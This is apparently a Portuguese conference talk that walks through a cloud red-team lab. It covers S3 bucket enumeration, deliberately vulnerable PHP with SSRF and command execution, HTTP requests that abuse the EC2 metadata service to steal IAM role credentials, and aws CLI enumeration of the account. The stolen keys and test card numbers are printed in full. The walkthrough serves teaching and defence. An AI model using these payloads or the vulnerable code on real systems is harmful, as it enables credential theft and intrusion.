

AWS

ACESSANDO UMA CONTA A PARTIR DE UMA VULNERABILIDADE WEB

AFK.conf

IAM

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AWS Cloud Space



EC2



VPC



S3



IAM



CloudWatch

+D 200 serviços

IAM

Identity and Access Management



- O IAM permite que você crie e gerencie usuários, grupos e funções da AWS configurando políticas para permitir ou negar o acesso deles aos recursos da AWS.

O que são:

1. **Usuários (Users):** Representam identidades individuais que podem interagir com os serviços da AWS.
2. **Grupos (Groups):** São conjuntos lógicos de usuários, facilitando a atribuição de permissões a vários usuários de uma vez.
3. **Funções (Roles):** Um mecanismo da AWS que possibilita usuários e serviços assumirem credenciais temporárias de segurança que podem ser usadas para fazer chamadas de API da AWS.
4. **Políticas (Policies):** São documentos JSON que definem as permissões necessárias para acessar e interagir com os recursos da AWS. As políticas são anexadas a usuários, grupos ou funções para conceder ou negar acesso a recursos específicos.



Multi-Cloud Red Teaming Analyst - Cyberwarfare

Cwl-metatech

osint:

https://github.com/7WaySecurity/cloud_osint

Cloud OSINT

A repository with information related to different resources, tools, and techniques related to Cloud OSINT

Cloud Infrastructure

Azure Storage

- Blob storage: <http://mystorageaccount.blob.core.windows.net>
- Table storage: <http://mystorageaccount.table.core.windows.net>
- Queue storage: <http://mystorageaccount.queue.core.windows.net>
- Azure Files: <http://mystorageaccount.file.core.windows.net>
- Database: <http://mystorageaccount.database.windows.net>

AWS S3 Buckets

- [https://\[bucketname\].s3.amazonaws.com](https://[bucketname].s3.amazonaws.com)
- [https://s3-\[region\].amazonaws.com/\[bucketname\]/](https://s3-[region].amazonaws.com/[bucketname]/)
- [https://\[bucketname\].s3-website-\[region\].amazonaws.com/](https://[bucketname].s3-website-[region].amazonaws.com/)

GCP Technologies

- Technologies Cheatsheet - <https://googlecloudcheatsheet.withgoogle.com>
- GCP Regions and Zones - <https://cloud.google.com/compute/docs/regions-zones>

```
< > ↺ cwl-metatech.s3.amazonaws.com

This XML file does not appear to have any style information associated with it. The document tree is shown below.

▼ <ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
  <Name>cwl-metatech</Name>
  <Prefix/>
  <Marker/>
  <MaxKeys>1000</MaxKeys>
  <IsTruncated>false</IsTruncated>
  ▼ <Contents>
    <Key>dev-server-ip.txt</Key>
    <LastModified>2024-02-23T06:13:06.000Z</LastModified>
    <ETag>"e081a5e92c130925a507e29f5a8d77ca"</ETag>
    <Size>14</Size>
    ▼ <Owner>
      <ID>529e2b0289eda71b9a8a04f348c6aad9810278d2a09700501f849396300d1be3</ID>
      </Owner>
    <StorageClass>STANDARD</StorageClass>
  </Contents>
  ▼ <Contents>
    <Key>prod-data.txt</Key>
    <LastModified>2024-02-23T06:09:15.000Z</LastModified>
    <ETag>"44cf3eeb0ba59f455ddb06b97de6aa40"</ETag>
    <Size>279</Size>
    ▼ <Owner>
      <ID>529e2b0289eda71b9a8a04f348c6aad9810278d2a09700501f849396300d1be3</ID>
      </Owner>
    <StorageClass>STANDARD</StorageClass>
  </Contents>
  ▼ <Contents>
    <Key>staging-data.txt</Key>
    <LastModified>2024-02-23T06:09:15.000Z</LastModified>
    <ETag>"8a582b7a65fd12065ee20e55458e803e"</ETag>
    <Size>227</Size>
    ▼ <Owner>
      <ID>529e2b0289eda71b9a8a04f348c6aad9810278d2a09700501f849396300d1be3</ID>
      </Owner>
    <StorageClass>STANDARD</StorageClass>
  </Contents>
</ListBucketResult>
```

Informações expostas

staging-data - Bloco de Notas

Arquivo Editar Formatar Exibir Ajuda

China Union Pay	6250941006528599	06/2026	738	11.00	MA
Discover	6011000990099818	12/2026	333	14.00	ND
Visa	4005550000000019	04/2026	111	97.52	ND
Visa	4503300000000008	04/2026	431	97.52	ND
Visa	4205260000000005	05/2026	213	0.0	MA

dev-server-ip - Bloco de Notas

Arquivo Editar Formatar Exibir Ajuda

18.216.126.203

prod-data - Bloco de Notas

Arquivo Editar Formatar Exibir Ajuda

User	Company	Credit Card Number	Expiry Date
Alex	Amex	374245455400126	05/2026
Bob	Caball	6271701225979642	03/2026
Lisa	Cencosud1	6034932528973614	06/2026
David	China Union	6250941006528599	06/2026

Acessando o ip identificado

< > C

Não seguro | 18.216.126.203

CWL

The Ultimate Cyber Security Platform

CyberWarFare Labs

Cloud Security

On-Premise Security

AD

WEB

CI/CD

NETWORK

PLATFORM

INFINITE LEARNING EXPERIENCE

DotGit

Total found: -2 Max shown: 100

<http://18.216.126.203>

Identificando vulnerabilidades

cyberwarfare-labs / cwl-multicloud-vm-metadata Public

<> Code Issues Pull requests Actions Projects Security Ins

Files

main

Go to file

- CWL.png
- calculate_score.php
- icon.png
- index.html
- process.php
- score.html
- style.css
- update.html

cwl-multicloud-vm-metadata / process.php

CW-Kiran PHP Update

Code Blame 14 lines (10 loc) · 216 Bytes

```
1 <?php
2
3
4 // SSRF Vulnerability
5 $ip = $_POST['ip'];
6 $content = file_get_contents($ip);
7
8 // RCE Vulnerability
9 $org = $_POST['organization'];
10 $org_output=system($org);
11
12 // Response Output
13 echo $org_output, $content;
14 >>
```

Não seguro | 18.216.126.203 | update.html

CWL Home

Tell Us More About Your Site

Enter Your Site URL:

Site Published Date:

Enter Your Site IP Address:

Enter Your Organization Name:

Submit

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Combinação perigosa IMDS + SSRF/RCE

O IMDS (Instance Metadata Service) é um serviço disponível em instâncias EC2 (Elastic Compute Cloud) da AWS que fornece informações sobre a instância em si. Ele está disponível apenas para as próprias instâncias e não pode ser acessado de fora da instância.

Nele são encontrados dados do IP Interno, IP Externo, MAC Address, ID da Instância, grupos de segurança e até mesmo tokens temporários de acesso.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /process.php HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 18.216.126.203			2	Date: Sun, 10 Mar 2024 05:25:25 GMT		
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0			3	Server: Apache/2.4.58 ()		
4	Accept: */*			4	X-Powered-By: PHP/7.2.34		
5	Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3			5	Upgrade: h2,h2c		
6	Accept-Encoding: gzip, deflate, br			6	Connection: Upgrade, close		
7	Referer: http://18.216.126.203/update.html			7	Content-Type: text/html; charset=UTF-8		
8	Content-Type: multipart/form-data;			8	Content-Length: 338		
	boundary=-----126672116424220107901244833493			9			
9	Content-Length: 589			10	ami-id		
10	Origin: http://18.216.126.203			11	ami-launch-index		
11	Connection: close			12	ami-manifest-path		
12				13	block-device-mapping/		
13	-----126672116424220107901244833493			14	events/		
14	Content-Disposition: form-data; name="url"			15	hibernation/		
15				16	hostname		
16	https://teste.com.br			17	iam/		
17	-----126672116424220107901244833493			18	identity-credentials/		
18	Content-Disposition: form-data; name="date"			19	instance-action		
19				20	instance-id		
20	2210-02-10			21	instance-life-cycle		
21	-----126672116424220107901244833493			22	instance-type		
22	Content-Disposition: form-data; name="ip"			23	local-hostname		
23				24	local-ipv4		
24	http://169.254.169.254/latest/meta-data			25	mac		
25	-----126672116424220107901244833493			26	metrics/		
26	Content-Disposition: form-data; name="organization"			27	network/		
27				28	placement/		
28	teste teste			29	profile		
29	-----126672116424220107901244833493--			30	public-hostname		
30				31	public-ipv4		
				32	public-keys/		
				33	reservation-id		
				34	security-groups		
				35	services/		
				36	system		

```

1 HTTP/1.1 200 OK
2 Date: Sun, 10 Mar 2024 05:26:28 GMT
3 Server: Apache/2.4.58 ()
4 X-Powered-By: PHP/7.2.34
5 Upgrade: h2,h3c
6 Connection: Upgrade, close
7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 98
9
10 {
11   "Code": "Success",
12   "LastUpdated": "2024-03-10T05:14:07Z",
13   "AccountId": "294170659659"
14 }

```

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /process.php HTTP/1.1			1	HTTP/1.1 200 OK		
2	Host: 18.216.126.203			2	Date: Mon, 01 Apr 2024 21:41:10 GMT		
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0			3	Server: Apache/2.4.58 ()		
4	Accept: */*			4	X-Powered-By: PHP/7.2.34		
5	Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3			5	Upgrade: h2,h2c		
6	Accept-Encoding: gzip, deflate, br			6	Connection: Upgrade, close		
7	Referer: http://18.216.126.203/update.html			7	Content-Type: text/html; charset=UTF-8		
8	Content-Type: multipart/form-data;			8	Content-Length: 50		
	boundary=-----34427330182848328565998548736			9			
9	Content-Length: 579			10	ec2-18-216-126-203.us-east-2.compute.amazonaws.com		
10	Origin: http://18.216.126.203						
11	Connection: close						
12							
13	-----34427330182848328565998548736						
14	Content-Disposition: form-data; name="url"						
15							
16	teste						
17	-----34427330182848328565998548736						
18	Content-Disposition: form-data; name="date"						
19							
20	2024-04-15						
21	-----34427330182848328565998548736						
22	Content-Disposition: form-data; name="ip"						
23							
24	http://169.254.169.254/latest/meta-data/public-hostname						
25	-----34427330182848328565998548736						
26	Content-Disposition: form-data; name="organization"						
27							
28	tresre						
29	-----34427330182848328565998548736--						

POST /process.php HTTP/1.1
Host: 18.216.126.203
Content-Length: 506
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyy4kcG3BY5kVOCBe2
Accept: /*/*
Origin: http://18.216.126.203
Referer: http://18.216.126.203/update.html
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

-----WebKitFormBoundaryyy4kcG3BY5kVOCBe2
Content-Disposition: form-data; name="url"

teste
-----WebKitFormBoundaryyy4kcG3BY5kVOCBe2
Content-Disposition: form-data; name="date"

3021-11-20
-----WebKitFormBoundaryyy4kcG3BY5kVOCBe2
Content-Disposition: form-data; name="ip"

http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role
-----WebKitFormBoundaryyy4kcG3BY5kVOCBe2
Content-Disposition: form-data; name="organization"

teste
-----WebKitFormBoundaryyy4kcG3BY5kVOCBe2--

1 HTTP/1.1 200 OK
2 Date: Sun, 10 Mar 2024 22:47:54 GMT
3 Server: Apache/2.4.58 (
4 X-Powered-By: PHP/7.2.34
5 Upgrade: h2,h2c
6 Connection: Upgrade, close
7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 1566
9
10 {
11 "Code" : "Success",
12 "LastUpdated" : "2024-03-10T22:15:23Z",
13 "Type" : "AWS-HMAC",
14 "AccessKeyId" : "ASIAUI7PQBNFRMM6OGWU",
15 "SecretAccessKey" : "GifFFem2MTscpOIPaC+A0dBKvzNQ2JC+IAnMJV+bH",
16 "Token" :
"IQoJb3JpZ2luX2VjEBYacXVzLWVhc3QtMiJHMEUCIFLB7MjIb9pDy3R1fWecwCTQA5esvXe6Bv1IkBGktZchAiEAmpSx/w
46yvrQMehplgOiGSSg9n5ESh2RyHXi5FlvtMsquQUIHxACGgwyOTQxNzA2NTk2NTkiDJH3z2j7yXi+pF4ZkCqWBdsvBA86E
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PSlKmaPvrm5/5C5Tq+SH9IeVKTia3WRqr4q6PUQQ2kuG4c0+FOIPGeL07fQLmPqh8SUS3SnXlkhOXpPVVkdTyIrkGpRkyH5
lojSzkv7PvokB06IP7Wc26VD6S6ca/8njFvFlwIu7FryS1BdeyhItP/9gTWdK4eFvnF9tUeoCcgugklbgKaPsDANbbsHsz
X33bA+rPze1lLR2+uU1GkGBkjbxZFzfMw2+zMgCNnkB+d4rjlygz9o49mgSORq4wM1GW9eSu95VbgGhWK/ufe1l1UkHn20q
X8Lt6m2PFEVKSnfOU+IEuFAJt3DONVYcRZjG1/dh6gHg2YifrTnSETJpWAGN2vumcGmUdfE6QDdGU+5HGccncgH15S2XLt5
b2sbqqaKY92Hrq7JMFVYEtDL3QtD7S1lg8+eYzhliMHdYnOgZBiSsGxM3+HUEUQddBPNUPyxucegI/9S+sqatHrsmnarO
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uvyTbEMhPrquYEA6PI9pnaKgVG/6dbUondFE165bpbpkjrGQJLTogygy72yEAMh7bJYAd6GFyFiBtvd69KUDYTZ9n/Gr0OXB
psZQikNm5wOFTFwyNOOFgdbEHK1Hcj34dSDUwlcargz/lpX2eW8sLbN4IuNfE1c/VbpyY3FmiT1bPzvbJnJ9lAnr1WEQtKr7
3sA4kEbIrMQ7xe/+c+LUMNPhuK8GorEBmgdoaBe1EXDdfH9Z04+UFGekwpNu4DBeX8gjWrq3IMMZ0C2tpkicx3iInUQou4i
iuOxe7e7LEEpyLBIpyIdkQ4z+MiBpm7hhKVU3vE51SjyJVO/L/tqNMbMYQRprRq4YIAwLHOqdwTZWpLadvjAxBP2F1TSGqa
UJxs+7a8nbvESxdA0J7I5/vKZLN1gX1r9jNmXuMT8/Ba4yuX2P9VLcdra6vY8Nc2QE2+/GbFtJtzpB",
17 "Expiration" : "2024-03-11T04:22:01Z"
18 }


```
(gabriel@DESKTOP-3NA3C00)-[~]
$ aws iam list-groups --profile cwl-iam
{
  "Groups": [
    {
      "Path": "/",
      "GroupName": "employees",
      "GroupId": "AGPAUI7PQBNFWZ4W7ITL4",
      "Arn": "arn:aws:iam::294170659659:group/employees",
      "CreateDate": "2024-02-23T06:09:00+00:00"
    },
    {
      "Path": "/",
      "GroupName": "interns",
      "GroupId": "AGPAUI7PQBNFTPOZPEC7D",
      "Arn": "arn:aws:iam::294170659659:group/interns",
      "CreateDate": "2024-02-23T06:08:59+00:00"
    }
  ]
}
```

```
(gabriel@DESKTOP-3NA3C00)-[~]
$ aws iam list-attached-group-policies --group-name employees --profile cwl-iam
{
  "AttachedPolicies": [
    {
      "PolicyName": "AmazonDevOpsGuruFullAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess"
    }
  ]
}

(gabriel@DESKTOP-3NA3C00)-[~]
$ aws iam list-attached-group-policies --group-name interns --profile cwl-iam
{
  "AttachedPolicies": [
    {
      "PolicyName": "AWSCodeBuildDeveloperAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess"
    }
  ]
}
```

```
(gabriel@DESKTOP-3NA3C00)-[~]
$ aws iam get-group --group-name interns --profile cwl-iam
{
  "Users": [
    {
      "Path": "/",
      "UserName": "int001",
      "UserId": "AIDAU17PQBNF544QA4L05",
      "Arn": "arn:aws:iam::294170659659:user/int001",
      "CreateDate": "2024-02-23T06:08:59+00:00"
    }
  ],
  "Group": {
    "Path": "/",
    "GroupName": "interns",
    "GroupId": "AGPAUI7PQBNFTPOZPEC7D",
    "Arn": "arn:aws:iam::294170659659:group/interns",
    "CreateDate": "2024-02-23T06:08:59+00:00"
  }
}

(gabriel@DESKTOP-3NA3C00)-[~]
$ aws iam get-group --group-name employees --profile cwl-iam
{
  "Users": [
    {
      "Path": "/",
      "UserName": "emp002",
      "UserId": "AIDAU17PQBNFQCGI5Z4JN",
      "Arn": "arn:aws:iam::294170659659:user/emp002",
      "CreateDate": "2024-02-23T06:09:01+00:00"
    },
    {
      "Path": "/",
      "UserName": "emp003",
      "UserId": "AIDAU17PQBNFW3WTHOLGA",
      "Arn": "arn:aws:iam::294170659659:user/emp003",
      "CreateDate": "2024-02-23T06:08:59+00:00"
    }
  ],
  "Group": {
    "Path": "/",
    "GroupName": "employees",
    "GroupId": "AGPAUI7PQBNFWZ4W7ITL4",
    "Arn": "arn:aws:iam::294170659659:group/employees",
    "CreateDate": "2024-02-23T06:09:00+00:00"
  }
}
```

[illegible]

[parrot@parrot]~[~/ .aws]

\$aws organizations list-accounts --profile cwl-iam

```
{
  "Accounts": [
    {
      "Id": "250327961994",
      "Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/250327961994",
      "Email": "support@meta-tech.cloud",
      "Name": "CWL AWS Master Account",
      "Status": "ACTIVE",
      "JoinedMethod": "INVITED",
      "JoinedTimestamp": 1674565668.864
    },
    {
      "Id": "294170659659",
      "Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/294170659659",
      "Email": "admin@atomic-nuclear.site",
      "Name": "CHMRTS-Demo-Lab-Account",
      "Status": "ACTIVE",
      "JoinedMethod": "INVITED",
      "JoinedTimestamp": 1674655552.95
    },
    {
      "Id": "664776131940",
      "Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/664776131940",
      "Email": "support@cyberwarfare.live",
      "Name": "CARTS-Challenge-Lab-Account",
      "Status": "ACTIVE",
      "JoinedMethod": "INVITED",
      "JoinedTimestamp": 1674661393.976
    },
    {
      "Id": "529999803336",
      "Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/529999803336",
      "Email": "support@cyberwarfare.live",
      "Name": "CARTS-Challenge-Lab-Account",
      "Status": "ACTIVE",
      "JoinedMethod": "INVITED",
      "JoinedTimestamp": 1674661393.976
    }
  ]
}
```

Referências

<https://www.softwall.com.br/blog/ssrf-aws-uma-combinacao-perigosa/>


<https://aws.amazon.com/pt/what-is-aws/>

https://github.com/7WaySecurity/cloud_osint

<https://github.com/RhinoSecurityLabs>

<https://aws.amazon.com/pt/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/>

<https://www.melhoreshospedagem.com/amazon-aws/>



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PASSARMOS VERGONHA.

MUITO OBRIGADO.
TENHAM UM BOM DIA.